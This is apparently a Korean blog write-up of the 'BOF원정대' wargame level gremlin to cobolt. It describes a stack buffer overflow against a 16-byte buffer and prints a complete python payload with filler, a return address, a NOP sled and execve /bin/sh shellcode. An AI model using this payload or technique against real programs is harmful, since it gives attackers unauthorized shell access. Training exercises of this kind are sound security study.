Information security/System security
BOF원정대 gremlin -> cobolt
nemojjong
2017. 10. 4. 19:20
이번에는 gremlin에 있는 cobolt를 풀어볼 것이다.
c파일을 확인해보면 아래와 같다.
소스를 확인해 보면 전과 비슷하다
하지만 퍼버에 사이즈가 16byte라는 것을 확인할 수 있다.
이러면 쉘코드에 크기는 24byte가 들어가기에 충분하지 않을 것이다.
따라서, 공격방법은 스택메모리에 쉘코드를 올리던가 환경변수에 쉘코드를 올리는 방법을 사용해야될 것이다.
환경변수로 하면 쉽게 할 수 있지만 스택메모리를 이용해서 공격해보자
우선 gdb를 이용해서 메모리를 확인해보자
dummy(20byte) + 스택주소(4byte) + argv dummy(4byte) + nop(1000byte) + 쉘코드(24byte)
메모리에 정확히 들어가 있는 것을 확인할 수 있다.
스택 주소를 0xbffff778쯤 설정해주고 정확한 코드로 작성해보자
$(python -c 'print "A" * 20 + "\x78\xf7\xff\xbf" + "AAAA" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
메모리에 정확히 들어가 있는 것을 확인할 수 있다.
그러면 이제 원본 파일로 가서 공격을 해보자
사진과 같이 공격에 성공할 수 있다.